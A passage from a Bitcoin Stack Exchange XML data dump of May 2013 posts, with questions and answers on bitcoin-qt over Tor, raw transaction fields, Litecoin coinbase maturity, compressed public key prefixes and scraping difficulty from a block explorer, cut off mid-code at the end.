href=&quot;https://bitcoin.stackexchange.com/questions/10009/why-cant-the-genesis-block-coinbase-be-spent&quot;&gt;unspendable&lt;/a&gt;, but I may confuse things here.&lt;/p&gt;&#xA;" OwnerUserId="2324" LastEditorUserId="5406" LastEditDate="2020-07-01T03:59:59.460" LastActivityDate="2020-07-01T03:59:59.460" Title="What was the design decision behind that the coinbase field can have arbitrary data?" Tags="|protocol|mining-reward|coinbase-transaction|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11276" PostTypeId="2" ParentId="10209" CreationDate="2013-05-28T09:01:23.250" Score="0" Body="&lt;p&gt;Do you have a high latency connection to the pool? Try run stratum and test it again. Probably from the GPU waiting for work to do as the pool switches over. Worked for me like a charm.&lt;/p&gt;&#xA;" OwnerUserId="5281" LastActivityDate="2013-05-28T09:01:23.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11277" PostTypeId="1" CreationDate="2013-05-28T09:04:00.573" Score="1" ViewCount="1573" Body="&lt;p&gt;I did these things but Bitcoin still says 0 connections. What's the problem?&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Windows 7 32bit. Installed bitcoin-qt&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Installed Tor Browser bundle&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I allowed all local outbound connections in my firwall (remote connections allowed only for Tor, for bitcion they're forbidden).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Run bitcoin.exe and enabled SOCKS proxy 127.0.0.1 on port 9050.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Exit bitcoin.exe, run Tor Vidalia, wait till it say &quot;Connected to Tor&quot;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Run bitcoin-qt.exe&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Wait, wait, wait... 0 connections. In Resource Monitor I see only Tor connects to the internet. Bitcoin doesn't connect anywhere.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Please help.&lt;/p&gt;&#xA;" OwnerUserId="5282" LastEditorUserId="5406" LastEditDate="2023-05-01T20:21:20.427" LastActivityDate="2024-01-26T22:07:40.977" Title="Installed bitcoin-qt and Tor, allowed firewall, Tor connects, but Bitcoin doesn't" Tags="|bitcoin-core|windows|tor|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11278" PostTypeId="2" ParentId="11275" CreationDate="2013-05-28T09:39:55.083" Score="-1" Body="&lt;p&gt;They wanted to rule out possibility that the same transaction ID would appear in different block, as a different coinbase.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There have been such in the history, but only twice, and it complicates the unspent DB application, so they just decided one day that same ID would not be distinguishable as a different transaction anymore. Thus added a protection against it, in block format version 2, so no miner can accidentally end up anymore with a non-unique ID for his coinbase transaction.&lt;/p&gt;&#xA;" OwnerUserId="3056" LastEditorUserId="3056" LastEditDate="2013-05-28T09:44:56.560" LastActivityDate="2013-05-28T09:44:56.560" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11279" PostTypeId="1" AcceptedAnswerId="11311" CreationDate="2013-05-28T11:56:19.600" Score="6" ViewCount="1283" Body="&lt;p&gt;I am reviewing Bitcoin transaction data as are returned by 'getrawtransaction' bitcoind command. I wonder why field: vout-&gt;addresses is a table and why it allows more than one address to be associated with the corresponding vout of the transaction? Are there any transactions in the blockchain with this field filled with more than one address? What is the use-case for that scenario?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA; , txid=0c58341ad9b9846771c0be43bea903911d7e7bd3c5dea38ca4e684ba172821ab,&#xA;version=1,&#xA;locktime=0,&#xA;vin=[&#xA;    {txid=88774a982d273e64ed037ef621e88a965aa784ac0337197fc629e1f5c304bf98, vout=1, scriptSig={asm=3045022100df0fc6c8ebacf2986f98f4fd4fe790c870f43180fe4e21d21dae67bbc4b36d82022049889a9a992eb31f34f83fbfe721a2fee580d9a50c65274b477c63adef4c3b0701 04b1d702ecd1157a9ebd5194e39ee01d4bc317c1eec5aa49ca8457a08872cc34e0940404e5e17afcd970c324563f884c02c0bec6a4b840972cb17de6366da07917, hex=483045022100df0fc6c8ebacf2986f98f4fd4fe790c870f43180fe4e21d21dae67bbc4b36d82022049889a9a992eb31f34f83fbfe721a2fee580d9a50c65274b477c63adef4c3b07014104b1d702ecd1157a9ebd5194e39ee01d4bc317c1eec5aa49ca8457a08872cc34e0940404e5e17afcd970c324563f884c02c0bec6a4b840972cb17de6366da07917}, sequence=4294967295}, {txid=0b9e8ad1ecbf86b2a0e981618a060af21b57e23ae72b61511d8783a748cba84a, vout=1, scriptSig={asm=3045022100bc6d4f859b962510db20aa2b4f2018de8448101866637950f4852d57a5bfc3b402201b7da77067dea8b20ab069343f90b0e94191456d37dbb2bf84b31d3732c686e101 04bd33836b8247ddf109037ea57c0b23d23b215c6ab88926478f2fd884aa209b3296ec565ac54896a24675d0e584a0f8e56b98a2a1a64bd9ac9febaf942a90d047, hex=483045022100bc6d4f859b962510db20aa2b4f2018de8448101866637950f4852d57a5bfc3b402201b7da77067dea8b20ab069343f90b0e94191456d37dbb2bf84b31d3732c686e1014104bd33836b8247ddf109037ea57c0b23d23b215c6ab88926478f2fd884aa209b3296ec565ac54896a24675d0e584a0f8e56b98a2a1a64bd9ac9febaf942a90d047}, sequence=4294967295}, {txid=183d1fa81b027ec7656b7c4256463b4bfca35c36492c13d0d80b619d8aa25891, vout=1, scriptSig={asm=3045022100dc1f01e3a8850374c7929cd43c1b75bfb34093974ecc128d99895d279d541dca022023952ef2e3d8f97130a4490c114a432de5643c8cf413762860d9787c1c5364c401 0401de03d4723cef6a0f0fc278cffd257a611c17e177e80cc6f382d3c218aebf41263172a6d64f2f0210e620256b0bf3430c8251c60ef38083ff6c6a87e7d80698, hex=483045022100dc1f01e3a8850374c7929cd43c1b75bfb34093974ecc128d99895d279d541dca022023952ef2e3d8f97130a4490c114a432de5643c8cf413762860d9787c1c5364c401410401de03d4723cef6a0f0fc278cffd257a611c17e177e80cc6f382d3c218aebf41263172a6d64f2f0210e620256b0bf3430c8251c60ef38083ff6c6a87e7d80698}, sequence=4294967295}, {txid=2bb40d37362f62080ad0837e3275079d7278750d6fc391414d5fd544f2c0db7e, vout=0, scriptSig={asm=3045022069a96fdd4ec434aa8a70185cd861fe8bc3e82aa4db8967e6ed3d2f7ff0a1a3bd022100b1464600ae2a9d8b2c8e14217746ac3eba32e99068611847273e4886bca47cea01 047cfc6e801a25c1c52ba2e00859142e9ff03bea35670e9f94be22b8dbe4edae2a4046fa9c86d2d4c2af6402ae3a98d725ec1a30a461013a968294043ea33d3b79, hex=483045022069a96fdd4ec434aa8a70185cd861fe8bc3e82aa4db8967e6ed3d2f7ff0a1a3bd022100b1464600ae2a9d8b2c8e14217746ac3eba32e99068611847273e4886bca47cea0141047cfc6e801a25c1c52ba2e00859142e9ff03bea35670e9f94be22b8dbe4edae2a4046fa9c86d2d4c2af6402ae3a98d725ec1a30a461013a968294043ea33d3b79}, sequence=4294967295}&#xA;],&#xA;vout=[&#xA;    {value=0.09864623, n=0, scriptPubKey={asm=OP_DUP OP_HASH160 c962d40fc3302ad21a554d28509a4a9dcafc6243 OP_EQUALVERIFY OP_CHECKSIG, hex=76a914c962d40fc3302ad21a554d28509a4a9dcafc624388ac, reqSigs=1, type=pubkeyhash,&#xA;&#xA;    // WHY MORE THAN ONE ADDRESS MIGHT BE PUT BELOW?&#xA;    addresses=[1KMqDGqpLBZPzfVGENErKce1hkaL8TnBwZ]&#xA;    } &#xA;&#xA;    },&#xA;    {value=0.28569421, n=1, scriptPubKey={asm=OP_DUP OP_HASH160 6999a9826e7f5b90e4f4a3ac5fb6cdfa32d39422 OP_EQUALVERIFY OP_CHECKSIG, hex=76a9146999a9826e7f5b90e4f4a3ac5fb6cdfa32d3942288ac, reqSigs=1, type=pubkeyhash,&#xA;&#xA;    // HERE THE SAME: WHY MORE THAN ONE ADDRESS MIGHT BE PUT BELOW?&#xA;    addresses=[1AdN2my8NxvGcisPGYeQTAKdWJuUzNkQxG]}&#xA;&#xA;    }&#xA;    ],&#xA;blockhash=0000000000000155303b637fda8f13f1778f58b64328c95ae201ccffbc5c6a8c, confirmations=1885, time=1368707765, blocktime=1368707765&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5283" LastEditorUserId="2306" LastEditDate="2013-05-28T17:35:24.930" LastActivityDate="2013-05-29T05:37:50.290" Title="Why vout-&gt;addresses in getrawtransaction is a table" Tags="|address|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11280" PostTypeId="1" CreationDate="2013-05-28T13:16:16.530" Score="3" ViewCount="1361" Body="&lt;p&gt;I've read it's 100, 101, 120...  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a mined block that has more than 140 confirmations but is still displayed as &quot;immature&quot; by the wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How many confirmations are required before it leaves the immature state?  Is this number variable?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="5286" LastEditorUserId="5406" LastEditDate="2016-04-09T07:43:46.923" LastActivityDate="2016-04-09T07:43:46.923" Title="What is the true number of confirmations before a LTC mined block moves out of the immature state?" Tags="|litecoin|mining-reward|immature-coins|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11281" PostTypeId="2" ParentId="8132" CreationDate="2013-05-28T14:32:13.543" Score="1" Body="&lt;p&gt;Beginning with v0.8.2 of the Bitcoin-Qt/bitcoind client is -walletnotify option that can run a process when a transaction that affects the wallet is seen.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-05-28T14:32:13.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11282" PostTypeId="2" ParentId="10216" CreationDate="2013-05-28T14:35:32.290" Score="0" Body="&lt;p&gt;From &lt;a href=&quot;https://bitinstant.com/&quot; rel=&quot;nofollow&quot;&gt;the front page&lt;/a&gt; of bitinstant.com:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;limits 500$ for all transfers, 1000$ for cash bank deposits, 2000$ per&#xA;  per day, minimal order 20$&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="5287" LastEditorUserId="196" LastEditDate="2013-05-29T17:24:22.660" LastActivityDate="2013-05-29T17:24:22.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11283" PostTypeId="2" ParentId="11256" CreationDate="2013-05-28T14:38:40.277" Score="2" Body="&lt;p&gt;ltc and btc are two different crypto currencies and are treated as such.  For example, BitInstant currently does NO business in ltc.  However, you will find some places like btc-e will deal in BOTH ltc AND btc.&lt;/p&gt;&#xA;" OwnerUserId="5287" LastActivityDate="2013-05-28T14:38:40.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11284" PostTypeId="2" ParentId="11222" CreationDate="2013-05-28T14:40:59.880" Score="1" Body="&lt;p&gt;Yes, you can transfer cash to Mt.Gox using a service like BitInstant.&lt;/p&gt;&#xA;" OwnerUserId="5287" LastActivityDate="2013-05-28T14:40:59.880" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11285" PostTypeId="2" ParentId="9982" CreationDate="2013-05-28T14:44:48.697" Score="0" Body="&lt;p&gt;You should be able to find sellers on bitmit.net.  You can also use esgrow there to assure that you have no issues with your transaction.&lt;/p&gt;&#xA;" OwnerUserId="5287" LastActivityDate="2013-05-28T14:44:48.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11286" PostTypeId="2" ParentId="8859" CreationDate="2013-05-28T14:46:55.863" Score="1" Body="&lt;p&gt;We have a long history in bitcoin...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;bitinstant.com&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We offer many options and transaction types.  :)&lt;/p&gt;&#xA;" OwnerUserId="5287" LastActivityDate="2013-05-28T14:46:55.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11287" PostTypeId="2" ParentId="7752" CreationDate="2013-05-28T14:51:06.400" Score="0" Body="&lt;p&gt;We occasionally remove functionality from the site for various reasons but the functionality in question is usually returned to the site shortly after.&lt;/p&gt;&#xA;" OwnerUserId="5287" LastActivityDate="2013-05-28T14:51:06.400" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11289" PostTypeId="2" ParentId="6014" CreationDate="2013-05-28T15:03:53.490" Score="2" Body="&lt;p&gt;This is still very much a project which is being worked on.  BitInstant hopes to bring you more info as everything progresses.  Thanks for your patience.&lt;/p&gt;&#xA;" OwnerUserId="5287" LastActivityDate="2013-05-28T15:03:53.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11290" PostTypeId="1" CreationDate="2013-05-28T15:59:53.630" Score="-1" ViewCount="247" Body="&lt;p&gt;I am currently looking on how does Bitcoin work, and I would like to sum things up with your help. The point is, if I ever want to write my own mining agent, what do I have to understand in order to do so ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First Point: The Data&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Through my research, I didn't really understand WHO gives the current hash to work on. I know that it is working as a P2P network, and I think, but not sure, that all clients connected to the network are aware of the transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But what should I do if I want to have access to the latest OFFICIAL (might not be the best word) block, without being in a mining pool ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second Point: The Computation&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I undestood this part, I have to try every nonce until sha256(sha256(data + nonce)) meets the requirements from Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Third part, submitting the answer&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming I found the right nonce, how can I submit my result. But I didn't find how I can do that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to make this point clear, I want to be SOLO, not mining solo, but if I wanted to write my own mining program, how could I do that WITHOUT being in a mining pool and finding information all by myself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your answers.&lt;/p&gt;&#xA;" OwnerUserId="5289" LastEditorUserId="5406" LastEditDate="2016-04-28T13:55:38.777" LastActivityDate="2016-04-28T13:55:38.777" Title="Technical Review of Bitcoin" Tags="|blockchain|mining-software|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11291" PostTypeId="1" AcceptedAnswerId="11292" CreationDate="2013-05-28T16:14:07.443" Score="1" ViewCount="3917" Body="&lt;p&gt;Once all the bitcoin blocks are mined(21 million limit has been reached) then would calculating the nonce still be so power intensive since the reward at this point of time would only be the transaction fee cost . What are the reasons miners will continue to operate their huge power hogging machines ? Also what would happen to the speed of block creation? Right now it is difficulty which governs it. but once all blocks have been mined how fast would newer blocks be created at the same rate or much faster?&lt;/p&gt;&#xA;" OwnerUserId="4803" LastEditorUserId="5406" LastEditDate="2016-04-28T13:09:08.187" LastActivityDate="2016-04-28T13:09:08.187" Title="What happens to transaction once all the blocks are mined?" Tags="|mining-theory|confirmations|transaction-verification|reward-schedule|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11292" PostTypeId="2" ParentId="11291" CreationDate="2013-05-28T16:39:21.770" Score="2" Body="&lt;p&gt;Note that there are not 21 million blocks but 21 million bitcoins generated through mining.  As for your specific questions, the difficulty of a block is independent of its reward so that would continue to match the hashing power of the network.  And the reason that people will continue to mine is, as you state in the question, because they will receive the transaction fees for their effort.&lt;/p&gt;&#xA;" OwnerUserId="3187" LastActivityDate="2013-05-28T16:39:21.770" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11293" PostTypeId="2" ParentId="11274" CreationDate="2013-05-28T17:00:54.217" Score="2" Body="&lt;p&gt;The organization has many of your answers listed on it's website at bitcoinfoundation.org&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoinfoundation.org/about&quot; rel=&quot;nofollow&quot;&gt;https://bitcoinfoundation.org/about&lt;/a&gt;&#xA;Says the foundation's mission is to...&#xA;standardize bitcoin,&#xA;protect bitcoin,&#xA;and promote bitcoin&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would imagine that a good way to track their progress is by looking at...&#xA;&lt;a href=&quot;https://bitcoinfoundation.org/blog/&quot; rel=&quot;nofollow&quot;&gt;https://bitcoinfoundation.org/blog/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, you can see a list of the foundations members at...&#xA;&lt;a href=&quot;https://bitcoinfoundation.org/members&quot; rel=&quot;nofollow&quot;&gt;https://bitcoinfoundation.org/members&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure if you were polite and had any questions that you may be able to contact a listed member with those inquiries.  :)&lt;/p&gt;&#xA;" OwnerUserId="5287" LastEditorUserId="5287" LastEditDate="2013-05-29T21:08:13.103" LastActivityDate="2013-05-29T21:08:13.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11294" PostTypeId="2" ParentId="11280" CreationDate="2013-05-28T17:19:21.690" Score="2" Body="&lt;p&gt;100&amp;#8203;. You could argue 120 too. It's the same as Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;static const int COINBASE_MATURITY = 100;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;sub&gt;&lt;a href=&quot;https://github.com/litecoin-project/litecoin/blob/master/src/main.h#L37&quot; rel=&quot;nofollow&quot;&gt;Source&lt;/a&gt;&lt;/sub&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, this is the amount of time before other nodes will let you spend your mining income. However, the client will wait 120 blocks before telling you that the generation has matured.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int CMerkleTx::GetBlocksToMaturity() const&#xA;{&#xA;    if (!IsCoinBase())&#xA;        return 0;&#xA;    return max(0, (COINBASE_MATURITY+20) - GetDepthInMainChain());&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;sub&gt;&lt;a href=&quot;https://github.com/litecoin-project/litecoin/blob/master/src/main.cpp#L697&quot; rel=&quot;nofollow&quot;&gt;Source&lt;/a&gt;&lt;/sub&gt;&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-05-28T17:19:21.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11296" PostTypeId="2" ParentId="10346" CreationDate="2013-05-28T18:46:11.367" Score="0" Body="&lt;p&gt;A few answers to your questions...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will likely want to encrypt your wallet by going to Settings/Encrypt Wallet&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will want to make sure that your password is secure by using numbers and both lower and uppercase letters at the very least.  You MUST MUST MUST remember this password or your funds will be GONE GONE GONE!  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure I understand what you mean about closing your wallet and making it disappear forever.  It's generally okay to quit your wallet at anytime even if it is not completely thru syncing.  When you re-open your Bitcoin-QT client it will just pick up where it left off in downloading the blockchain.  Your Bitcoin-QT wallet app should be located in your apps folder...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Applications/Bitcoin-QT&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can create new addresses in your address book.  Once you click your address book you will see a New Address button on the bottom left which you can use to create new addresses.  You can also create new addresses by going to Receive Coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this helps!  :)&lt;/p&gt;&#xA;" OwnerUserId="5287" LastActivityDate="2013-05-28T18:46:11.367" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11297" PostTypeId="2" ParentId="9808" CreationDate="2013-05-28T19:45:08.537" Score="1" Body="&lt;p&gt;I was confused by this until just now, so here's how I've understood this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Size&lt;/strong&gt; indicates the size of a specific order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Sum&lt;/strong&gt; gives you the total size of a currency available for that price. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is, in the image below:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;if you are will to pay up to 68 XRP per USD, there are 2,451.566242 USD available for purchase.&lt;/li&gt;&#xA;&lt;li&gt;if you are only willing to pay up to 67.50 XRP per USD, there will only be 100 USD available for purchase.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;As you move down the chart, the &quot;Sum&quot; corresponding to an order is the sum of all the sizes up to an including that order.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5N5wz.png&quot; alt=&quot;USD/XRP order book&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My pseudo economic analysis: Sum is an necessary indicator of the true price.  If the cheapest Ask order has Size 0.5 USD, that ask price doesn't tell you much. &lt;/p&gt;&#xA;" OwnerUserId="4923" LastActivityDate="2013-05-28T19:45:08.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11298" PostTypeId="1" CreationDate="2013-05-28T20:01:18.333" Score="0" ViewCount="54" Body="&lt;p&gt;I sent two transactions to the same place. I &lt;em&gt;think&lt;/em&gt; they both show in blockchain, but they aren't at the intended address. After 48 hours, I got concerned and changed from Electrum to Bitcoin-Qt, sending my remaining coins to Bitcoin-Qt. That doesn't show in the blockchain as far as I can see. I included the default transaction fee each time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After about a week, I'm still in the same state. I'll add transaction ID's when I get back to my mac. More info to follow. I checked answers to other questions but couldn't find a resolve or anything that seemed to fit my attempted exchanges.&lt;/p&gt;&#xA;" OwnerUserId="5291" LastEditorUserId="2306" LastEditDate="2013-05-28T22:19:44.613" LastActivityDate="2013-05-28T22:19:44.613" Title="Unconfirmed transactions for a week" Tags="|blockchain|" AnswerCount="0" CommentCount="2" ClosedDate="2013-05-29T18:16:43.423" ContentLicense="CC BY-SA 3.0" />
  <row Id="11299" PostTypeId="1" CreationDate="2013-05-28T20:01:54.897" Score="3" ViewCount="1167" Body="&lt;p&gt;I've noticed that compressed public keys are always either 0x02 or 0x03, but what exactly determines whether it's 0x02 or 0x03? I can go look at the OpenSSL code to answer this, but I'm hoping someone already knows the answer and can tell me :P&lt;/p&gt;&#xA;" OwnerUserId="5293" LastActivityDate="2020-05-08T17:56:12.780" Title="The compressed public key byte header" Tags="|cryptography|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11300" PostTypeId="2" ParentId="7923" CreationDate="2013-05-28T20:11:45.163" Score="2" Body="&lt;p&gt;This is the most complete answer I've seen so far regarding &lt;a href=&quot;https://ripple.com/forum/viewtopic.php?f=5&amp;amp;t=2270&quot; rel=&quot;nofollow&quot;&gt;how to get a Ripple account funded&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="593" LastEditorUserId="3364" LastEditDate="2014-05-09T14:22:14.733" LastActivityDate="2014-05-09T14:22:14.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11301" PostTypeId="2" ParentId="11299" CreationDate="2013-05-28T22:08:42.283" Score="3" Body="&lt;p&gt;The public key format that OpenSSL and Bitcoin use is described in &lt;a href=&quot;http://www.secg.org/index.php?action=secg,docs_secg&quot; rel=&quot;nofollow&quot;&gt;SEP 1&lt;/a&gt;, published by the Standards for Efficent Cryptography Group on page 10.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;Convert the field element x&lt;sub&gt;P&lt;/sub&gt; to an octet string X of length ceil([log&lt;sub&gt;2&lt;/sub&gt; q]/8) octets using the conversion routine specified in Section&#xA;  2.3.5.  &lt;/li&gt;&#xA;  &lt;li&gt;Derive from y&lt;sub&gt;P&lt;/sub&gt; a single bit ȳ&lt;sub&gt;P&lt;/sub&gt; as follows (this allows the y-coordinate to be represented compactly using a single bit):  &lt;/li&gt;&#xA;  &lt;li&gt;If q = p is an odd prime, set ȳ&lt;sub&gt;P&lt;/sub&gt; = y&lt;sub&gt;P&lt;/sub&gt; mod 2.  &lt;/li&gt;&#xA;  &lt;li&gt;If q = 2m, set ȳ&lt;sub&gt;P&lt;/sub&gt; = 0 if x&lt;sub&gt;P&lt;/sub&gt; = 0, otherwise compute z = z&lt;sub&gt;m-1&lt;/sub&gt;x&lt;sup&gt;m-1&lt;/sup&gt; + · · · + z&lt;sub&gt;1&lt;/sub&gt;x + z&lt;sub&gt;0&lt;/sub&gt; such that z = y&lt;sub&gt;P&lt;/sub&gt;x&lt;sub&gt;P&lt;/sub&gt; and set ȳ&lt;sub&gt;P&lt;/sub&gt; = z&lt;sub&gt;0&lt;/sub&gt;.  &lt;/li&gt;&#xA;  &lt;li&gt;Assign the value 02&lt;sub&gt;16&lt;/sub&gt; to the single octet Y if ȳ&lt;sub&gt;P&lt;/sub&gt; = 0, or the value 03&lt;sub&gt;16&lt;/sub&gt; if ȳ&lt;sub&gt;P&lt;/sub&gt; = 1.&lt;/li&gt;&#xA;  &lt;li&gt;Output M = Y || X.&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;... and page 53 ...&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;If C is an octet string and the leftmost octet of C is 02&lt;sub&gt;16&lt;/sub&gt; or 03&lt;sub&gt;16&lt;/sub&gt;, parse the leftmost ceil([log&lt;sub&gt;2&lt;/sub&gt; q]/8)+1 octets of C as an octet string R, the rightmost &lt;em&gt;maclen&lt;/em&gt; octets of C as an octet string D, and the remaining octets of C as an octet string &lt;em&gt;EM&lt;/em&gt;. &lt;/li&gt;&#xA;  &lt;li&gt;If the leftmost octet of C is 04&lt;sub&gt;16&lt;/sub&gt;, parse the leftmost 2 * ceil([log&lt;sub&gt;2&lt;/sub&gt; q]/8) + 1 octets of C as an octet string R, the rightmost &lt;em&gt;maclen&lt;/em&gt; octets of C as an octet string D, and the remaining octets of C as an octet string &lt;em&gt;EM&lt;/em&gt;.&lt;/li&gt;&#xA;  &lt;li&gt;If the leftmost octet of C is not 02&lt;sub&gt;16&lt;/sub&gt;, 03&lt;sub&gt;16&lt;/sub&gt;, or 04&lt;sub&gt;16&lt;/sub&gt;, output “invalid” and stop.&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So, in plain English: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It can be 0x04 too. That's is the 'uncompressed' key. If you generate a key today, it won't create one of these. However, if you have an old wallet, you might have some. They are equivalent in security to compressed keys.&lt;/li&gt;&#xA;&lt;li&gt;Whether it's 0x02 or 0x03 depends on on the value of ȳ&lt;sub&gt;P&lt;/sub&gt;. We can generate ȳ&lt;sub&gt;P&lt;/sub&gt; instead of including the full y coordinate, which saves us a nice bit of space. That's what compressed keys are.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'm not sure what q is in this context, if somebody wants to tell me in comments, it'd be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2013-05-28T22:13:47.353" LastActivityDate="2013-05-28T22:13:47.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11302" PostTypeId="2" ParentId="8909" CreationDate="2013-05-28T22:23:13.607" Score="2" Body="&lt;p&gt;Current versions of Abe support the getdifficulty API call.  For instance, &lt;a href=&quot;http://yacexplorer.tk/chain/Yacoin/q/getdifficulty&quot; rel=&quot;nofollow&quot;&gt;http://yacexplorer.tk/chain/Yacoin/q/getdifficulty&lt;/a&gt; returns the current Yacoin difficulty.  The problem with Litecoin is that both explorer.litecoin.net and litecoinscout.com are running outdated versions of Abe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For these older versions of Abe, difficulty at the time a block is solved is available; it should usually be close enough to the current difficulty.  Here's an alternate approach I implemented to get Litecoin difficulty:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;get the blockchain height (/chain/name/q/getblockcount)&lt;/li&gt;&#xA;&lt;li&gt;get block info (/search?q=blocknum)&lt;/li&gt;&#xA;&lt;li&gt;get difficulty&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Step 2 returns HTML which you'll have to scrape. Here's some C# I knocked together:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;private double GetDifficultyAbeAlt(string url_prefix, string chain_name)&#xA;{&#xA;    WebClient wc = new WebClient();&#xA;    int blockcount = Convert.ToInt32(wc.DownloadString(url_prefix + &quot;/chain/&quot; + chain_name + &quot;/q/getblockcount&quot;));&#xA;    string blockinfo = wc.DownloadString(url_prefix + &quot;/search?q=&quot; + blockcount.ToString());&#xA;    double difficulty = 0;&#xA;    foreach (string line in blockinfo.Split(new char[] { '\n' }))&#xA;        if 